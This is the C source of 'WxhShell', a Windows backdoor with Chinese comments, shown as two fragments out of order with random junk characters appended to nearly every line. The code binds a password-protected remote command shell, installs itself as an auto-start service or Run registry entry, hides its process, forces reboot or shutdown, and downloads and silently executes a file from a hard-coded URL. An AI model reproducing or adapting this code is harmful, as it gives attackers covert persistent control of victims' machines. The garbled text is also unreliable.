    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "^18&>^  
    else { 5f/@: ~  
    closesocket(wsh); x_]",2 W'  
    ExitThread(0); |:dCVd<du  
    } A>H*`{}  
    break; $>nkGb%Kp  
    } S.qk%NTTD  
  // 获取shell t*eleNYeS~  
  case 's': { O7! fI'R  
    CmdShell(wsh); =%:JjgKc*t  
    closesocket(wsh); t%0r"bTi  
    ExitThread(0); M}R@ K;%  
    break; 8+=p8e~An  
  } yY-FL`-  
  // 退出 []^PJ  
  case 'x': { fma tc#G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WT;.>F  
    CloseIt(wsh); i0i.sizu  
    break; 5?<|3  
    } h4J{jh.  
  // 离开 FZM ]o  
  case 'q': { "cIGNTLFA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); mjWp8i  
    closesocket(wsh); g%@]z8L  
    WSACleanup(); tn(f rccy  
    exit(1); i!s~kk  
    break; f0:EQYYZ  
        } v=dKcruR:  
  } %V@Rk.<  
  } L#83f]vG  
/h{go]&Nb  
  // 提示信息 rTN"SQt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5d)'`hACe  
} ;5,`Jpca  
  } >OF:"_fh  
wghFGHgw  
  return; NN31?wt  
} #fJ/KYJU  
uzat."`d'  
// shell模块句柄 _|Y.!ZRYP  
int CmdShell(SOCKET sock) !7kAJG g  
{ :Vu7,o  
STARTUPINFO si; R^mu%dw)(%  
ZeroMemory(&si,sizeof(si)); p~v2XdR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i{%z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?,A}E|jZ  
PROCESS_INFORMATION ProcessInfo; kKFuTem_3  
char cmdline[]="cmd"; )Tyky%P+iI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bCJ<=X,g`K  
  return 0; P_:?}h\  
} zsR  wF  
hX{g]KE>  
// 自身启动模式 +?4*,8Tmmz  
int StartFromService(void) +ZD[[+  
{ Eg287B  
typedef struct ?NL&x  
{ I;bg?RsF  
  DWORD ExitStatus; w>/pQ6=OFR  
  DWORD PebBaseAddress; Res"0Q  
  DWORD AffinityMask; e/m'a|%:  
  DWORD BasePriority; y<IZ|f  
  ULONG UniqueProcessId; < -@,  
  ULONG InheritedFromUniqueProcessId; nr<}Hc^f-  
}   PROCESS_BASIC_INFORMATION; u&l>cJ'  
#`YxoY`  
PROCNTQSIP NtQueryInformationProcess; z=- 8iks|  
[[.&,6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -KJ}.q>upq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ` $QzTv   
~/]\iOL  
  HANDLE             hProcess; %WJ\'@O\  
  PROCESS_BASIC_INFORMATION pbi; pw(U< )  
\'}/&PCkr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j L>I5f  
  if(NULL == hInst ) return 0; N9>'/jgZX  
Jq$6$A,f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); softfjl&l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [Ls2k&)0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g4.'T51  
{Q#Fen ;y|  
  if (!NtQueryInformationProcess) return 0; iuH8g  
\( Gf+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ],fwZd[t  
  if(!hProcess) return 0; ~#N.!e4  
>%jEo'0;_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3; -@<9  
$2 +$,:  
  CloseHandle(hProcess); &t9XK8S  
/ut~jf`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UG^?a  
if(hProcess==NULL) return 0; *x# &[>  
N('S2yfDR  
HMODULE hMod; dwf #~7h_  
char procName[255]; l9ch  
unsigned long cbNeeded; % 0y3/W  
0Tn|Q9R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,h5-rw'  
JQ{zWJlt  
  CloseHandle(hProcess); Hc_hO  
hq&  
if(strstr(procName,"services")) return 1; // 以服务启动 j 44bF/  
nIN%<3U2  
  return 0; // 注册表启动 YiQeI|{oN  
} 0.{oA`5N  
X T)hPwg.  
// 主模块 @88z{  
int StartWxhshell(LPSTR lpCmdLine) cQ8$,fo  
{ _n Iqy&<  
  SOCKET wsl; 4LB9w 21  
BOOL val=TRUE; P*"AtZuY]  
  int port=0; k1LtqV  
  struct sockaddr_in door; 4 L~;>]7  
M#8Ao4 T  
  if(wscfg.ws_autoins) Install(); X~Rk ,d3  
!=q:> }g  
port=atoi(lpCmdLine); '#An+;x{  
Z%HEn$t  
if(port<=0) port=wscfg.ws_port; lJz?QI1  
"DcueU#!  
  WSADATA data; < 4EB|@E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; * F%ol;|Q  
2*7s 9g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :.'T+LI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t$PnQ@xu  
  door.sin_family = AF_INET; J9$]]\52s.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~jRk10T(B  
  door.sin_port = htons(port); UV *tO15i  
xjn8)C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zN8V~M;  
closesocket(wsl); AN:RY/ %Wo  
return 1; <DlanczziF  
} (k)gZD9~{?  
Pu\DYP: (  
  if(listen(wsl,2) == INVALID_SOCKET) { ]Buk9LTe  
closesocket(wsl); *l'$pJ X  
return 1; /cg]wG!n8  
} $e t :  
  Wxhshell(wsl); I?B,rT3 h  
  WSACleanup(); pTV@nP  
&T{B~i3w8  
return 0; R82Zr@_  
*O}'2Ht6\  
} M]/wei"X  
.V)2Tz  
// 以NT服务方式启动 G4J6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _ry En  
{  !k??Kj  
DWORD   status = 0; DRg ~HT  
  DWORD   specificError = 0xfffffff; Tdmo'"m8z_  
,%b1 ]zZQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (.nJT"&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jv#" vQ9A]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aXid;v,  
  serviceStatus.dwWin32ExitCode     = 0; &+w!'LSaD  
  serviceStatus.dwServiceSpecificExitCode = 0; <+1w'-  
  serviceStatus.dwCheckPoint       = 0; ZD] '$  
  serviceStatus.dwWaitHint       = 0; q$2taG}  
*,*:6^t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !)*T  
  if (hServiceStatusHandle==0) return; b Ho?Rw!.  
RKJWLofX&  
status = GetLastError(); JjO/u>A3;7  
  if (status!=NO_ERROR) eiSO7cGy  
{ d8q$&(]<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fjZveH0  
    serviceStatus.dwCheckPoint       = 0; zvs 2j"lb  
    serviceStatus.dwWaitHint       = 0; s8I77._s  
    serviceStatus.dwWin32ExitCode     = status; /a/uS3&  
    serviceStatus.dwServiceSpecificExitCode = specificError;  E_I6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yar IR|  
    return; _2n/vF;I+_  
  } cZK?kz_Y  
n,'AFb4AF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ="TOa"Zk  
  serviceStatus.dwCheckPoint       = 0; m4.V$U,H]  
  serviceStatus.dwWaitHint       = 0; /s0VyUV=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 89e.\EH  
} ;\&bvGj8V  
f'yd {ihFp  
// 处理NT服务事件,比如:启动、停止 laL4ez  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :Y?08/V  
{ =Q 0 )t_z_  
switch(fdwControl) m?CjYqvf  
{ McI4oD~"  
case SERVICE_CONTROL_STOP: ['YRY B  
  serviceStatus.dwWin32ExitCode = 0; qmeEUch`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 21k-ob1Y  
  serviceStatus.dwCheckPoint   = 0; xu pdjT%4  
  serviceStatus.dwWaitHint     = 0; >v4~:n2D  
  { W)P_t"'@L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #7:9XID /  
  }  D)eKq!_  
  return; ?lna8]t  
case SERVICE_CONTROL_PAUSE: e&7}N Za  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v__Go kj-  
  break; RX|&cY>  
case SERVICE_CONTROL_CONTINUE: (#Kvm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qhGhUyNX  
  break; DG9;6"HBX  
case SERVICE_CONTROL_INTERROGATE: 0<Y&2<v  
  break; ?#y<^oNM  
}; rG%_O$_dO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SmEd'YD!J  
} p q5H{  
C xN@g'  
// 标准应用程序主函数 rpI7W?hh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2Yf;b9-k  
{ IHMyP~{  
 2x J5  
// 获取操作系统版本 >\Pj(,'  
OsIsNt=GetOsVer(); ]6 7wk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |,~A9  
L}pFb@  
  // 从命令行安装 PbH]K$mj{"  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y##P9^zH1  
b#'a4j-u  
  // 下载执行文件 t/BiZo|zl  
if(wscfg.ws_downexe) { <iqyDPj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 13@| {H CB  
  WinExec(wscfg.ws_filenam,SW_HIDE); ! yUKNR  
} Z- Ae'ym  
m1Z8SM+  
if(!OsIsNt) { ~ a&j4E  
// 如果时win9x,隐藏进程并且设置为注册表启动 r?>Hg+  
HideProc(); @g2L=XF  
StartWxhshell(lpCmdLine); }u)G ERWO  
} *\+ 'tFT6  
else ;lt;]7  
  if(StartFromService()) j[eEyCW[)  
  // 以服务方式启动 b,A1(_pzi  
  StartServiceCtrlDispatcher(DispatchTable); 5Rp2O4Z  
else ?uBC{KQ}Y  
  // 普通方式启动 /Bu5k BC  
  StartWxhshell(lpCmdLine); d> AmM!J  
iR=aYT~  
return 0; ~ZC=!|Q#  
} N4NH)x  
<b40\Z{+  
VqU:`?#"a  
fJV VW  
=========================================== {vlh ,0~  
Oz7v hOU  
1 niTkop  
#-,`4x$m|  
GlZDuU  
Kf5p* AI  
" 5!%/j,?  
#8|NZ6x,  
#include <stdio.h> eci\Q,   
#include <string.h> &Wk<F3qN  
#include <windows.h> 5X-(@GwN  
#include <winsock2.h> V lNzm  
#include <winsvc.h> u^p[zepW\  
#include <urlmon.h> S"z4jpqn3  
RO8Ynm2 <  
#pragma comment (lib, "Ws2_32.lib") sva$@y7b  
#pragma comment (lib, "urlmon.lib") S5!2%-;<k  
%>z}P&Yz  
#define MAX_USER   100 // 最大客户端连接数 gf>5xf{M  
#define BUF_SOCK   200 // sock buffer ;zG|llX  
#define KEY_BUFF   255 // 输入 buffer R6Lr]H  
> `M\xt  
#define REBOOT     0   // 重启 ]x\wP7x  
#define SHUTDOWN   1   // 关机 d(XWt;KK  
96j2D8=w  
#define DEF_PORT   5000 // 监听端口 ,#haai(  
V [>5  
#define REG_LEN     16   // 注册表键长度 RwKN  
#define SVC_LEN     80   // NT服务名长度 OR{"9)I  
M XQ7%G  
// 从dll定义API \/Y<.#?_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,{at?y*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jd*H$BU^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i[n 1}E.@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S3f BZIPp  
&y+eE?j  
// wxhshell配置信息 p04w 83 jX  
struct WSCFG { V5 w^Le_^  
  int ws_port;         // 监听端口 W&#Nk5d  
  char ws_passstr[REG_LEN]; // 口令 G7?EaLsfQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no N h%8;  
  char ws_regname[REG_LEN]; // 注册表键名 v~3q4P  
  char ws_svcname[REG_LEN]; // 服务名 NKrk*I"G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &aOOG8l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V ZGhF!To  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3 Gkw.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bcfOp A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]CYe=m1<2Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y._AzJ&B[  
70~]J8T+u  
}; na)_8r~  
<^paRKEa+#  
// default Wxhshell configuration {HeMdGn9  
struct WSCFG wscfg={DEF_PORT, +L6$Xm5DAv  
    "xuhuanlingzhe", ly@CX((W  
    1, E*vi@aI  
    "Wxhshell", KhvCkQMI@  
    "Wxhshell", x1h!_^(QfF  
            "WxhShell Service", =JkSq J)?  
    "Wrsky Windows CmdShell Service", T /uu='3  
    "Please Input Your Password: ", i%2K%5{)$D  
  1, |zE7W  
  "http://www.wrsky.com/wxhshell.exe", Pmb`05\  
  "Wxhshell.exe" S"l&=J2dc  
    }; iatQHn >(  
JI(|sAH  
// 消息定义模块 ,*30Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H2}i .  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f?QD##~;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !Fi)-o  
char *msg_ws_ext="\n\rExit."; {Bx\Z0+'&  
char *msg_ws_end="\n\rQuit."; hSmM OS{  
char *msg_ws_boot="\n\rReboot..."; gqG"t@Y+  
char *msg_ws_poff="\n\rShutdown..."; 2+HiaYDZ  
char *msg_ws_down="\n\rSave to "; #]2u!a ma  
.:}\Z27-c  
char *msg_ws_err="\n\rErr!"; !=pemLvH  
char *msg_ws_ok="\n\rOK!"; Zh$Z$85p  
~7v^7;tT  
char ExeFile[MAX_PATH]; whshjl?a  
int nUser = 0;  Sk-Ti\  
HANDLE handles[MAX_USER]; E_P]f%  
int OsIsNt; BKk*<WMD  
tq[C"| dH  
SERVICE_STATUS       serviceStatus; #@ G2n@Hj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }V{, kK  
53A=O gk8S  
// 函数声明 (,>`\\  
int Install(void); bc-"If Z&  
int Uninstall(void); _" n4SXhq  
int DownloadFile(char *sURL, SOCKET wsh); |Cm}%sgR\0  
int Boot(int flag); (@zn[ Nq  
void HideProc(void); TocqoYX{{  
int GetOsVer(void); k6XO-a f  
int Wxhshell(SOCKET wsl); X'Oo ogu  
void TalkWithClient(void *cs); 2B# \683  
int CmdShell(SOCKET sock); %o-*~GQ@B  
int StartFromService(void); D c^d$gh  
int StartWxhshell(LPSTR lpCmdLine); h!.(7qdd  
{|cA[#j#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Tn|re Xc0e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v|e>zm <  
I`|>'$E[r  
// 数据结构和表定义 tB[K4GNSQ  
SERVICE_TABLE_ENTRY DispatchTable[] = *T3"U|0_y  
{ {221@ zcCq  
{wscfg.ws_svcname, NTServiceMain}, Y:wds=lA  
{NULL, NULL} GC~::m~  
}; Aq-v3$XL  
;Zw28!#Rt  
// 自我安装 Tb[GZ,/%;  
int Install(void) cWi2Sls  
{ {VFp fo  
  char svExeFile[MAX_PATH]; #Xc~3rg9  
  HKEY key; }v:h EMO  
  strcpy(svExeFile,ExeFile); uBM1;9h  
wG B'c's*  
// 如果是win9x系统,修改注册表设为自启动 WrV|<%EQh  
if(!OsIsNt) { ,i}"e(f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y9Pb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !vU[V,~  
  RegCloseKey(key); =LC5o2bLy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { = #`FXO1C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KP i@wl3  
  RegCloseKey(key); ,PB?pp8C}  
  return 0; :=/DF  
    } 4#o` -vcW  
  } ji1A>jepF  
} 7M4iBk4I  
else { P++gR@  
R75sK(oS  
// 如果是NT以上系统,安装为系统服务 54k Dez  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >+1bTt/-F  
if (schSCManager!=0) TnC'<zm9 !  
{ x@/ !H<y  
  SC_HANDLE schService = CreateService S +He  
  ( SXhJz=h  
  schSCManager, :%0Z  
  wscfg.ws_svcname, U_:/>8})d  
  wscfg.ws_svcdisp, R\X J  
  SERVICE_ALL_ACCESS, %c&h:7);  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3KqylC &.  
  SERVICE_AUTO_START, zpY8w#b  
  SERVICE_ERROR_NORMAL, qRr;&M &t_  
  svExeFile, rC'97`!K  
  NULL, 2Bx\nLf/ K  
  NULL, wBr0s *1I  
  NULL, p4/D%*G^`  
  NULL, %rf<YZ.\  
  NULL vnKUD|  
  ); "Aynt_a.  
  if (schService!=0) s}5;)>3~@  
  { ZqSczS7uf  
  CloseServiceHandle(schService); i6[Hu8  
  CloseServiceHandle(schSCManager); Ts.6 1Rx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oRCj]9I$  
  strcat(svExeFile,wscfg.ws_svcname); XX+4X*(o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^mH^cP?/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $:>K-4X\}  
  RegCloseKey(key); ZN. #g_  
  return 0; (u~@@d"  
    } Cjw|.c`  
  } 1v`*%95  
  CloseServiceHandle(schSCManager); _- { >e  
} NZv1dy`fa  
} &Y\`FY\   
&L_(yJ~-  
return 1; ZM\Z2L]n  
} /: B!hvpw  
-(Yq$5Zc&  
// 自我卸载 d}Q;CF3 m:  
int Uninstall(void) xw`Pq6  
{ O Qd,.m  
  HKEY key; BYRf MtT@+  
*S7<QyVh  
if(!OsIsNt) { &)1+WrU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )!3sB{ H  
  RegDeleteValue(key,wscfg.ws_regname); [/'W#x  
  RegCloseKey(key); cZA l.}/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }s? 9Hnqa  
  RegDeleteValue(key,wscfg.ws_regname); 6m?}oMz  
  RegCloseKey(key); G/b $cO}  
  return 0; Uh{|@D  
  } @?TOg{:  
} {ymD.vf=9+  
} K;Fy&p^d  
else { L)kwMk  
:GK]"sNC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G{)2f &<  
if (schSCManager!=0) l1nrJm8  
{ bIR7g(PJ.b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Rkgpa/te"  
  if (schService!=0) FK<1SOE  
  { r"c<15g2'  
  if(DeleteService(schService)!=0) { =5J}CPKbZI  
  CloseServiceHandle(schService); EP,lT.u3  
  CloseServiceHandle(schSCManager); R e-4y5f  
  return 0; <8~bb- U$  
  } M/T ll]\|  
  CloseServiceHandle(schService);  BVU>M*k  
  } q9|'!m5K  
  CloseServiceHandle(schSCManager); `5:b=^'D /  
} RAPR-I;{  
} x= X"4Mj0)  
(/JiOg^cw  
return 1; uS;N&6;:  
} M $ CnaH  
F@UbUm2o  
// 从指定url下载文件 jhg0H2C8  
int DownloadFile(char *sURL, SOCKET wsh) N 8 n`f  
{ ^O}`i  
  HRESULT hr; )CKPzNf  
char seps[]= "/"; ^z)p@sk#  
char *token; t[VA|1gG  
char *file; 22$M6Qof]n  
char myURL[MAX_PATH]; "&W80,O3  
char myFILE[MAX_PATH]; z&Cz!HrS  
@p"m{  
strcpy(myURL,sURL); ]2Zl\}GwY  
  token=strtok(myURL,seps); s,Azcqem  
  while(token!=NULL) H85J MPZ7  
  { NH~\kV  
    file=token; k^K>*mcJ  
  token=strtok(NULL,seps); jnho *,X  
  } MfQ 9d9  
HHzAmHt  
GetCurrentDirectory(MAX_PATH,myFILE); 6fY-D qF!  
strcat(myFILE, "\\"); @Jr:+|v3B  
strcat(myFILE, file); MfNsor  
  send(wsh,myFILE,strlen(myFILE),0); SJ8Ax_9{q  
send(wsh,"...",3,0); ~Z-o2+xA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8#L V oR  
  if(hr==S_OK) vY)5<z&  
return 0; *3 8 u ~n  
else *MC+i$  
return 1; qjDt6B^RO  
KDxqz$14 -  
} ?h\fwF3  
t\S=u y  
// 系统电源模块 xl>8B/Zmf#  
int Boot(int flag) kn %i#Fz  
{ 6 );8z!+  
  HANDLE hToken; x,L<{A`z  
  TOKEN_PRIVILEGES tkp; owQSy9Az  
zo83>bt  
  if(OsIsNt) { P@| W \  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $Y`oqw?g+^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JCO+_d#x  
    tkp.PrivilegeCount = 1; Gu@n1/m@o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 37<^Oly!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %>Q[j`9y  
if(flag==REBOOT) { Q ?xA))0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YxowArV}uz  
  return 0; Y<qWG 8X  
} 4M*Z1  
else { FJQ=611@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p?-qlPl  
  return 0; aGBUFCCa  
} )[wB:kG  
  } z|bAZKSRYx  
  else { /:B2-4>Q!  
if(flag==REBOOT) { /Vdu|k=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k~Z;S QyN  
  return 0; \?tE,\Ln  
} uo9FLm  
else { {;5\#VFg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  T_)G5a  
  return 0; *(E]]8o  
} L%;fYi;n  
} 9x`1VR :  
&8\6%C  
return 1; ij5|P4Eka  
} Nnx dO0X  
B_mT[)ut  
// win9x进程隐藏模块 *[Im].  
void HideProc(void) rHiBW!  
{ F/ o }5H  
?[?;%Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d0V*[{  
  if ( hKernel != NULL ) w~4T.l#1  
  {  I9Lt>*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [,L>5:T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T].Xx`  
    FreeLibrary(hKernel); zb3,2D+P  
  } go9tvK  
C <Pd_&  
return; #$X _,+<HZ  
} uA4x xY  
muAgsH$/  
// 获取操作系统版本 :Z%-&) F  
int GetOsVer(void) xL [3R   
{ mor[AJ  
  OSVERSIONINFO winfo; p(>D5uN_}5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s}qtM.^W  
  GetVersionEx(&winfo); p~WX\;   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,n{R,]y\  
  return 1; A01PEVd@A  
  else lk*w M?Z  
  return 0; `ztp u ~?  
} m<sCRWa-  
RiG]-K:  
// 客户端句柄模块 #+&"m7 s  
int Wxhshell(SOCKET wsl) tH=jaFJ   
{ ZZ>F ^t  
  SOCKET wsh; %6\L^RP  
  struct sockaddr_in client; 4&AGVplgF  
  DWORD myID; > -,$  
{4{X`$  
  while(nUser<MAX_USER) vM?,#:5  
{ :{,k F  
  int nSize=sizeof(client); cs9"0&JX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l6- n{zG  
  if(wsh==INVALID_SOCKET) return 1; 6zIK%<  
W[f%m0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )>tT ""yEl  
if(handles[nUser]==0) %/2OP &1<  
  closesocket(wsh); Q[c:A@oW  
else B[~Q0lPih  
  nUser++; <UY9<o  
  } &PPYxg<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QtA@p  
MxOIe|=&  
  return 0; &z05h<]  
} N :OLN[  
 Q!5W x  
// 关闭 socket uuQsK. S  
void CloseIt(SOCKET wsh) _ h/:r1  
{ xb2j |KY7  
closesocket(wsh); *B)10R  
nUser--; NIAji3  
ExitThread(0); G\R6=K:f7  
} v}\Fbe  
d ATAH}r&  
// 客户端请求句柄 [HhaBy9  
void TalkWithClient(void *cs) u"MfxW`  
{ #y'p4Xf  
7^;-[? l  
  SOCKET wsh=(SOCKET)cs; $9h^tP'CV  
  char pwd[SVC_LEN]; >y+?Sz!  
  char cmd[KEY_BUFF]; @O/"s~d-  
char chr[1]; Wcbm,O4u  
int i,j; drvz [ 9;  
HQSFl=Q  
  while (nUser < MAX_USER) { \*M;W|8aB  
O>>/2V9  
if(wscfg.ws_passstr) { !D!"ftOm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mA#;6?6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F-XMy>9  
  //ZeroMemory(pwd,KEY_BUFF); *^KEb")$  
      i=0; <sn,X0W  
  while(i<SVC_LEN) {  PZY6 I  
X/bu z  
  // 设置超时 tkmzOc H  
  fd_set FdRead; Bjh8uW G  
  struct timeval TimeOut; 1)5/a5  
  FD_ZERO(&FdRead); ;Fd1:"1pP  
  FD_SET(wsh,&FdRead); /8 y v8  
  TimeOut.tv_sec=8; "EVf1iQ  
  TimeOut.tv_usec=0; WD5jO9Oai  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); : )y3 &I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b\t?5z-Z  
_$/Bt?h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Nxt`5kSx=  
  pwd=chr[0]; ]x66/O\0u  
  if(chr[0]==0xd || chr[0]==0xa) { gH.$B'  
  pwd=0; 0EasPbp  
  break; e0]#vqdO  
  } ] f5vk  
  i++; K+d{R=s^  
    } (:^YfG~e  
{P3gMv;  
  // 如果是非法用户,关闭 socket %_G '#Bn<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mz<X$2]?  
} Y-,S_59  
:QF`Orb!^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G5lBCm   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,."wxP2u  
RU~Pa+H  
while(1) { TEbIU8{Y  
i6S["\h>  
  ZeroMemory(cmd,KEY_BUFF); 1d$wP$  
W)^%/lAh  
      // 自动支持客户端 telnet标准   b~{nS,_Rn  
  j=0; :UX8^+bfZ  
  while(j<KEY_BUFF) { -c{Y+M`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '$VP\Gj.  
  cmd[j]=chr[0]; [+ : zlA  
  if(chr[0]==0xa || chr[0]==0xd) { t. HwX9  
  cmd[j]=0; HdyE`FY\  
  break;  C~^T=IP  
  } 2Ima15^+F  
  j++; nGsFt.  
    } JE#H&]  
^F- 2tc  
  // 下载文件 '@zMZc!  
  if(strstr(cmd,"http://")) { <tm=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >;#rK@*&  
  if(DownloadFile(cmd,wsh)) Y5P9z{X=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ERIF#EY  
  else Js.G hTs  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +HjSU2  
  } a/3yn9`sQ  
  else { 6W~JM^F  
X5-[v(/]  
    switch(cmd[0]) { 9?^0pR p  
  ]AZCf`7/?  
  // 帮助 ~jzT;9:  
  case '?': { p@h<u!rL8  
